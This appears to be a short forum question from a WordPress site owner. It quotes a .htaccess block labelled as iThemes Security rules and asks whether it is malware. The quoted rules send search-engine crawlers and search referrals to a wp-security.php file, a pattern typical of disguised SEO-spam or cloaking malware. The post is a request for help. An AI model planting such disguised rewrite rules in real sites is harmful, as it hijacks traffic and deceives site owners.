I found this in my htaccess:
# BEGIN iThemes Security – Do not modify or remove this line
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing|seznam)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (html|htm|php)$ [NC]
RewriteCond %{REQUEST_FILENAME} !wp-security.php
RewriteCond %{DOCUMENT_ROOT}/wp-security.php -f
RewriteRule ^.*$ /wp-security.php [L]
</IfModule>
# END iThemes Security – Do not modify or remove this line
Is this malware or is this correct iThemes Security htaccess information?